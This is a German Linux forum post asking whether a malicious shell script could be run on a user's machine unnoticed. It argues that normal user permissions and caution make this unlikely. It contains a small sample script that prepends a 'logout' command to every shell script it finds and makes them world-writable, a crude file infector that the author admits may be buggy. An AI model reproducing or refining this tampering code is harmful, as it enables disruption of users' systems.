[erledigt] Sicherheit unter Linux - "Shell-Scripte"

Hi Leute

Diese Frage behandelt jetzt nur die rein technische Möglichkeit, einen Angriff auf Linux-Systeme durchzuführen.

Ist es möglich, einem Linux-User ein Shell-Script per Mail oder sonst wie unterzujubeln und es auf seinem Rechner auszuführen?

In etwa so eines, wobei ich sagen kann, dass dieses noch relativ harmlos und beliebig erweiterbar ist.

#!/bin/sh
for f in 'find . -type f -exec grep -ql #\!/bin/sh {} \;'


do


echo "logout" > tmp$$
cat $f >> tmp$$
mv tmp$$ $f
chmod 777 $f


done

In dem Script wird nur der logout-Befehl, welcher den gerade angemeldeten User abmeldet, angefügt. Ein doch recht fieses Script, wenn es denn zur Ausführung gelangen könnte.

Das theoretische Fragekonstrukt ist folgendes. Ist es unter normalen Umständen möglich, ein solches oder ähnlich geartetes Script auf einem Linux-Rechner ausführen zu lassen, ohne dass der User was davon merkt?

Ich denke, eher nicht, weil hier die Sicherheitsmechanismen von Linux greifen.
Bedeutet, wenn der User nicht als Root arbeitet und die zugeschickten Scripte hinterfragt, besteht kaum eine Möglichkeit des Ausführens, oder?

Wie seht ihr das?

Das Script erhebt jetzt keinen Anspruch auf Fehlerfreiheit. Es war nur mal so als Beispiel gedacht

Mir ging es nur darum, ob so etwas im Normalfall möglich wäre.
Wenn ich einen Rechner gezielt angreifen will, schaffe ich das auch irgendwann. Ohne Frage.
Aber so im Alltagsbetrieb wäre das wohl eher schwierig.

Bedeutet im Umkehrschluss:
Wenn ich mich an die Linux-Spielregeln halte (Account ohne Root-Rechte) und nicht alles, was mir unter kommt wild anklicke ohne nachzudenken, wenn ich mein System vernünftig konfiguriere, Java ausschalte und die empfohlenen Updates einspiele ist Linux eigentlich fast unangreifbar bzw. geschützt vor den Tücken des Alltags.

Es ging wie gesagt nur um ein theoretisches Konstrukt, da hier oft nach der Sicherheit von Linux gefragt wird.

Meiner unmaßgeblichen Meinung nach ist Linux im Alltagsbetrieb und unter gewissen Voraussetzungen eigentlich so sicher, wie ein Betriebssystem nur sein kann.